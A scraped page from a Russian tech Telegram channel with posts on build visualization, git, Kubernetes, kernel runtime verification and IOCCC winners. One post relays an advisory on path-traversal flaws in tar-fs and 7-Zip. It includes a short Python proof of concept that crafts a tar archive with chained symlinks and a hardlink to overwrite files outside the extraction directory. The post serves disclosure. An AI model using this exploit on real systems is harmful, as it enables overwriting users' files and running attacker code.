Технологический Болт Генона
8.26K subscribers
3.04K photos
367 videos
214 files
3.9K links
До Декарта никогда не существовало рационализма.

Музыкальный Болт Генона: @mus_b0lt_Genona
Мемный Болт Генона: @mem_b0lt_Genona
Кадровый Болт Генона @kadr_b0lt_Genona

Обратная связь: @rusdacent
Download Telegram
Прикольные проект и пост в котором автор задался вопросом как бы "нарисовать" процесс сборки, а заодно понять где "бутылочное горлышко" в этом процессе.

Компиляция конкретного софта может быть очень длительной просто потому, что в этой программе очень много кода — как, например, в проекте LLVM. Но бывает и так, что сборка идёт медленно по глупым и вполне устранимым причинам. Подозреваю, что большинство сборок просто тормозят из-за ерунды, но проверить это мне пока не удавалось. Поэтому я разработал кроссплатформенный инструмент для визуализации сборок (пока он существует в приватной бета-версии, ссылка в конце статьи). Он работает с любой системой сборки и с любым языком программирования (а не только C/C++/Rust).

Это не просто универсальный профилировщик системы; вдобавок он помогает выявить проблемы, специфичные для сборок. Примеры таких проблем: использование make без флага -j, непропорционально длительная работа над некоторыми файлами или фазами компилятора (такие данные можно получить через специальные инструменты, например, -ftime-trace из clang). Также бывают команды, которые можно выполнять параллельно, а это сделано не было. Всё это особенно помогает при оптимизации сборок в ходе непрерывной интеграции, которые зачастую сводятся к простой пересборке.

Куча подробностей в посте, сюда всё не влезет. Там рассмотрены примеры различных проектов

Визуализатор сборок в режиме реального времени
https://habr.com/ru/articles/937972/

Оригинал
I Made A Real-Time Build Visualizer
https://danielchasehooper.com/posts/syscall-build-snooping/

Утилита пока недоступна широкому кругу, но можно запросить её и попробовать (работает под Windows, Linux и macOS)

https://docs.google.com/forms/d/e/1FAIpQLScVms7Eu64BOm9usl1vcWxTUxW4IcMfmnopAWutj35QOw9ijg/viewform
🔥23👍51
Old but gold

Please change "allopenissues" in JIRA's URL scheme to, e.g. "all-open-issues".
I'm afraid that all we see currently is "blah-penis-blah".

https://jira.atlassian.com/browse/JRASERVER-65811
😁65🍌5👍3🔥1
Сегодня активно форсят ссылку везде с "анализом приложения MAX"

MAX-deep-analysis-of-the-messenger
https://github.com/ZolManStaff/MAX-deep-analysis-of-the-messenger

Я видел этот разбор ещё недели три назад наверное и не стал постить потому что там обсуждать нечего. Этот "анализ" подтверждает, что в целом MAX ничем не отличается от Telegram или Whatsapp по своим запросам.

Если автор(ы) хотят показать что-то ТАКОЕ, то им придётся провести более глубокий анализ с деобфускацией.

Вот ссылки на пермиссии, которые запрашивают Telegram или Whatsapp

https://reports.exodus-privacy.eu.org/en/reports/org.telegram.messenger/latest/

https://reports.exodus-privacy.eu.org/en/reports/com.whatsapp/latest/
👍3912
Извините, день сегодня такой тяжёлый. Понедельник!

> 20 июл. 2025
> ИА "Панорама"

Все SMS-коды теперь будут приходить только в национальный мессенджер МАХ
https://panorama.pub/news/vse-sms-kody-teper-budut

> 18 августа 2025
> первый зампред комитета Госдумы по информполитике Александр Ющенко

«Если полноценно запускать мессенджер, он должен соответствовать всем возможным технологическим возможностям, которые есть на рынке, для того чтобы быть конкурентоспособным. У него должен быть практически весь функционал, в том числе и информационные каналы, и возможность взаимодействия с разными сервисами. Поэтому работа над тем, чтобы в Max приходили коды верификации, должна идти. Она уже ведется, я думаю, и надо быть уверенным, что данная функция будет представлена», – отметил Ющенко.

В Госдуме заявили, что все коды верификации должны отправляться в Max
https://absatz.media/news/130801-v-gosdume-zayavili-chto-vse-kody-verifikacii-dolzhny-otpravlyatsya-v-max

Спасибо
😁44🤡43🫡9🖕7👍4🐳21🌭1
Уязвимости в tar-fs и 7-Zip, позволяющие записать файлы за пределы базового каталога
https://www.opennet.ru/opennews/art.shtml?num=63740

В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива записать файлы в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка (насколько позволяют права доступа текущего пользователя). Уязвимость также может использоваться для перезаписи существующих файлов, например, для организации выполнения своего кода в системе могут быть переписаны файлы ".ssh/id_rsa" или ".bashrc" в домашнем каталоге пользователя.

Проблеме присвоен критический уровень опасности c учётом того, что пакет tar-fs имеет 23 миллиона загрузок в неделю и используется как зависимость в 1155 проектах. Уязвимость устранена в выпусках 3.0.9, 2.1.3 и 1.16.5, которые были сформированы в мае, но информация об уязвимости раскрыта лишь спустя почти 3 месяца.

Уязвимость вызвана недостаточными проверками имеющихся в архиве символических и жёстких ссылок на предмет их выхода за пределы целевого каталога для распаковки. Для обхода проверок применяются две символические ссылки: первая указывает на корневой каталог распаковки архива ("."), а вторая создаётся относительно первой символической ссылки и использует в имени символы "../" для выхода за пределы базового каталога. Например, первая ссылка "noop/noop/noop" указывает на ".", а вторая "noop/noop/noop/../../../" раскрывается как "./../../../". Для организации перезаписи файлов в архиве может быть создана жёсткая ссылка, ссылающаяся на внешний файл относительно второй символической ссылки.

Похожая уязвимость (CVE-2025-55188) выявлена в архиваторе 7-Zip. Для записи файлов вне базового каталога в 7-Zip также могут использоваться символические ссылки, имеющие последовательность "../" в файловом пути. Проблема может быть эксплуатирована при распаковке при помощи 7-Zip любых архивов, поддерживающих символические ссылки, например, zip, tar, 7z и rar


PoC

import tarfile
import io
with tarfile.open("poc.tar", mode="x") as tar:
root = tarfile.TarInfo("root")
root.linkname = ("noop/" * 15) + ("../" * 15)
root.type = tarfile.SYMTYPE
tar.addfile(root)
noop = tarfile.TarInfo("noop")
noop.linkname = "."
noop.type = tarfile.SYMTYPE
tar.addfile(noop)
hard = tarfile.TarInfo("hardflag")
hard.linkname = "root/home/username/flag/flag"
hard.type = tarfile.LNKTYPE
tar.addfile(hard)
content = b"overwrite\n"
overwrite = tarfile.TarInfo("hardflag")
overwrite.size = len(content)
overwrite.type = tarfile.REGTYPE
tar.addfile(overwrite, fileobj=io.BytesIO(content))
content = b"new!\n"
newfile = tarfile.TarInfo("root/home/username/flag/newfile")
newfile.size = len(content)
newfile.type = tarfile.REGTYPE
tar.addfile(newfile, fileobj=io.BytesIO(content))
🔥16🥱21👾1
Forwarded from Безумный кот
В пятницу с @int0x80h (Алексеем Федулаевым) обнаружили и проработали интересный кейс.
(Да, писать об этом в пятницу вечером — было жестоко 🤪 )

🎼 Kubernetes pods/exec — что поменялось и почему это важно

В преддверии публикации нашего UI в open source, мы с коллегами откопали нечто любопытное.

В статье вы, скорее всего, найдёте нечто необычное. А может — просто хорошо забытое старое.
В любом случае, речь пойдёт о pods/exec и о том, как правильно давать к нему доступ пользователям.

Думаете, тут ничего особенного?
Прочитайте статью — и, возможно, удивитесь 😉

😎 Читаем статью:
https://docs.dobry-kot.ru/blog/kubernetes-pods-exec

💤 Исходники на GitHub:
https://github.com/PRO-Robotech/in-cloud-docs

😇 Лучшая ваша похвала это:
• вопросы по теме,
• поиск неточностей,
• советы, как сделать лучше,
• и, конечно, ⭐️ на GitHub.
Please open Telegram to view this post
VIEW IN TELEGRAM
💅10👍31🍌1
> Стабилизированы команды "git switch" и "git restore", которые с 2019 года рассматривались как экспериментальные. Команды преподносятся как современные эквиваленты "git checkout", разделяющие такие малосвязанные возможности данной команды, как манипуляция ветками (переключение и создание) и восстановление файлов в рабочем каталоге.

Перешёл на использование этих команд как только они были добавлены. Ни о чём не жалею 🌝

Выпуск системы управления исходными текстами Git 2.51
https://www.opennet.ru/opennews/art.shtml?num=63742

Оригинал
https://lore.kernel.org/lkml/xmqqikikk1hr.fsf@gitster.g/
👍293🌚3👎2
Forwarded from RutheniumOS
> Видали как ща ребятки анлочат химики?

> 1. Просите откатить версию прошивки в сервисе.
2. Выхватываете девайс и убегаете, прежде чем они успеют залочить бут обратно.
🤣48🥰15😁5🙏21🔥1
Нашёл в закладках у себя пост из 2021 года интересный. Из серии "чего только не бывает".

Меня зову Женя, я open source разработчик. Я занимаюсь разработкой библиотеки sqlite_orm на С++ https://github.com/fnc12/sqlite_orm в свое свободное время.

Библиотека sqlite_orm предоставляет более удобный API на С++, чем «родная» SQLite3-библиотека, написанная на чистом С. Конечно, я и другие контрибьюторы еще не покрыли весь API SQLite, потому работа не останавливается никогда. Меня очень давно просили добавить в sqlite_orm поддержку пользовательских функций. Это возможность привязывать колбэки на чистом C в виде функций, доступных внутри SQLite-запросов.
. . .

Лямбда должна осуществлять сравнение строк и возвращать индекс первого несовпадающего символа по аналогии с функцией strcmp. И я проигнорировал первый аргумент, который имеет тип int. Это длина данных для сравнения. И SQLite не дает гарантию, что второй и третий аргументы имеют после себя нуль-терминаторы. Просто почему-то раньше эти нуль-терминаторы там были. Целых три года! Но с появлением пользовательских функций три из восьми конфигураций на Windows вдруг перестали проявлять толерантность к неопределенному поведению. К такому жизнь меня точно не готовила.

. . .

Что имеем в итоге? Если опустить глупую ошибку с копированием C-строки, то новая фича вдруг выявила совершенно не связанные проблемы, которые были в виде кода, который ведет себя неопределенно в теории, но на практике три года вел себя очень определенно (по крайней мере тесты выполнялись и крэшей не было).


Вся цепочка расследования с примерами кода в посте

Неопределенное поведение, пронесенное сквозь года
https://habr.com/ru/articles/568674/
👍173
Четверг, а значит время проектов от подписчиков! 🌝

Тем, кто пропустил, что такое четверговые проекты от подписчиков, можно прочитать тут - https://xn--r1a.website/tech_b0lt_Genona/4983

Влада, автора этого проекта, я знаю уже много лет и рад, что он пилит и делает всякое интересное и образовательное.

А для демонстрации сделано полноценное живое видео (происходит впервые в четверговой рубрике!), за что отдельное спасибо.

Слово автору @ejiek

---
git-plumber — read-only клиент для git'a, преследующий образовательные цели. Он показывает, как другие git клиенты меняют содержимое папки .git.

Это консольное приложение, как и сам git. Но с TUI в качестве основного интерфейса. Надеюсь, это поможет пользователям IDE и GitHub Desktop узнать, что гит родом из терминала перебороть его страх.

Лично мне приложение помогло понять:
- Насколько плохо хранить бинарные файлы в гите
- Почему гит отказывается добавлять в репу пустые папки
- Как спасти удалённый и не закомиченный файл
- Как именно гит хранит разницу между версиями файла

Оказывается, на уровне хранения git ничего не знает ни про строки, ни про текст. Иногда git хранит все версии целиком. А иногда сжимает, но не построчными diff'aми, а побайтовыми delta'ми. Мало того, дельты умеют всего две операции: скопировать и вставить. Этого достаточно! Например, чтобы описать удаление: «скопируй всё до, пропусти лишнее, скопируй всё после».

Приглашаю попробовать приложение самостоятельно. И поделиться обратной связью. Особенно если что-то сложно понять или нужны пояснения.

git-plumber ещё в ранней стадии разработки, но уже может быть полезен. Сейчас главная цель — проработать подачу материала и UX. И вооружить git-plumber'ом преподавателей, студентов и энтузиастов уже в этом учебном году.

⭐️ Прошу поддержать проект звездой на GitHub'e ⭐️
---
🔥56👍15🤓521🤡1
Forwarded from Rotten Mechanism (Şėʀɢᴇγ Ɲσʀᴅ)
Media is too big
VIEW IN TELEGRAM
OFFZONE 25 уже не за горами, поэтому рассказываю, какие аддоны я привезу) В этом году было много основной работы и совсем мало свободного времени, поэтому было принято решение собрать моргалки с моим логотипом, паялось всё конечно же в последний момент, pcb-арт получился неплохо, а вот касательно равномерности засветки - в следующий раз буду брать светодиоды на больший угол излучения) Видос и вовсе закончил рендериться за 10 минут до отправления поезда, поэтому я поехал, а вы пока можете посмотреть процесс сборки)) До встречи на конференции ^^
8🔥3👍1🥰1
Тут темпоральную логику затащили в рантайм Linux (6.17.0-rc2) для верификации происходящего в ядре.

Extending run-time verification for the kernel
https://lwn.net/Articles/1030685/

[PATCH v11 00/21] RV: Linear temporal logic monitors for RT application
https://lwn.net/ml/all/cover.1751634289.git.namcao@linutronix.de/

Вообще, вокруг ядра есть куча всего и для статического анализа, и динамического, и тестирования, что бы оно становилось стабильней и лучше

Development tools for the kernel
https://docs.kernel.org/dev-tools/index.html

В посте идёт рассказ проблематики и причин появления утилиты rvgen. Это инструмент, который из DOT-описания Graphviz генерирует код на C, который, в свою очередь, представляет собой "скелет" для Runtime Verification Monitor'а (RVM). Но так же можно с помощью него получить логический монитор

$ rvgen monitor -c ltl -s pagefault.ltl -t per_task

В результате будет получено два файла:

- pagefault.h - файл с описанием автомата Бюхи
- pagefault.c - скелет RVM

Подробнее тут
https://docs.kernel.org/trace/rv/monitor_synthesis.html#rvgen

Собственно, в этом и состоит патч.

Но тут я хочу теперь больше сказать про то что такое LTL

LTL (Linear Temporal Logic) значит/переводится как логика линейного времени. Как понятно из названия это относительно простая сущность, которая позволяет описать и формализовать последовательность событий без ветвлений.

Давайте рассмотрим простейший пример - светофор.

Обычный режим его работы: Красный -> Жёлтый -> Зелёный

Описать это можно следующей формулой:
[](Красный -> (<> Зелёный && (!Зелёный U Жёлтый)))
,где
[] - всегда в будущем
<> - когда-нибудь
&& - логическое И
U - до тех пор (пока)

Соответственно, эту формулу можно "перевести" так: Всегда после Красного когда-нибудь в будущем будет Зелёный, после того как некоторое время был Жёлтый

Сварщик я не настоящий и подобные штуки это скорей моё хобби. Я когда-то игрался с LTL/CTL применительно к ping'у, было сложна 🌝

Вот, для понимания, пример из статьи применительно к ядру
https://lwn.net/Articles/1030831/

Если вы хотите узнать, что такое автомат Бюхи, модель Крипке и т.д., то в интернете много материала на эту тему. Я же оставлю на русскоязычные источники (если знаете хорошие, то кидайте в личку или комменты)

Проверка моделей. Видео и слайды лекций
http://wasp.iis.nsk.su/page5.html

Математические методы верификации схем и программ
https://mk.cs.msu.ru/index.php/%D0%9C%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B5_%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D1%8B_%D0%B2%D0%B5%D1%80%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D0%B8_%D1%81%D1%85%D0%B5%D0%BC_%D0%B8_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC

Софт с которым можно поиграться

- https://uppaal.org/
Презентация с UPPAAL https://asvk.cs.msu.ru/~dimawolf/SoftwareReliability/Lection05.pdf

- https://spinroot.com/
Две лекции со SPIN https://www.lektorium.tv/course/22862
👍14🔥92👎1🗿1
Технологический Болт Генона
Отличная новость, обожаю эти соревнования После четырёхлетнего перерыва объявлено о возобновлении конкурса IOCCC (International Obfuscated C Code Contest), нацеленного на написание наиболее запутанного и трудноразбираемого кода на языке Си. Мероприятие IOCCC28…
Об IOCCC (International Obfuscated C Code Contest) я писал в январе
https://xn--r1a.website/tech_b0lt_Genona/4922

И вот недавно подвели итоги

Winning Entries of 2024 - The 28th IOCCC
https://www.ioccc.org/2024/index.html#2024

Объявлены победители 28 конкурса по написанию запутанного кода на языке Си
https://www.opennet.ru/opennews/art.shtml?num=63668

Участвующие в конкурсе работы, с одной стороны, должны препятствовать анализу кода и пониманию сути решаемой задачи, но, с другой стороны, код должен быть интересен и чем-то примечателен (работы могут быть необычно оформлены или выделять неожиданные стороны языка Си). Размер исходного кода программы не должен превышать 4096 байт, а программа должна собираться и выполнять осмысленное действие

Больше всего меня впечатлили три работы

1. Виртуальная машина, способная запускать Doom 1/2 на современных ПК от Ильи Курдюкова из "Базальт СПО"
https://www.ioccc.org/2024/kurdyukov3/index.html
https://github.com/ioccc-src/winner/blob/master/2024/kurdyukov3/prog.c

Разбор его работы от жюри
2024/kurdyukov3 - Prize in virtual quietus
https://www.youtube.com/watch?v=iaXMwqR93iE

2. Эмулятор CPU Intel 4004 от Николаса Карлини (Nicholas Carlini) из "Anthropic"
https://www.ioccc.org/2024/carlini/index.html
https://github.com/ioccc-src/winner/blob/master/2024/carlini/prog.c

Разбор его работы от жюри
2024/carlini - Prize in perfect timing
https://www.youtube.com/watch?v=r6wUZUaaJBY

Пост с разбором от самого автора
Gate-level emulation of an Intel 4004 in 4004 bytes of C
https://nicholas.carlini.com/writing/2025/ioccc-intel-4004-in-4004-bytes-c.html

3. Эмулятор CPU OpenRISC, способный запустить Linux от Себастиана Маке (Sebastian Macke) из "QAware"
https://www.ioccc.org/2024/macke/index.html
https://github.com/ioccc-src/winner/blob/master/2024/macke/prog.c

Разбор его работы от жюри
2024/macke - Prize in imitative rebooting
https://www.youtube.com/watch?v=jeQFI_8kGA4

Репа со всеми победителями за все года
https://github.com/ioccc-src/winner

Полная трансляция разбора работ
IOCCC28 Winning Entries | IOCCC Awards Presentation and Source Code Reveal
https://www.youtube.com/watch?v=UDzGwTalVAc
🔥232😁1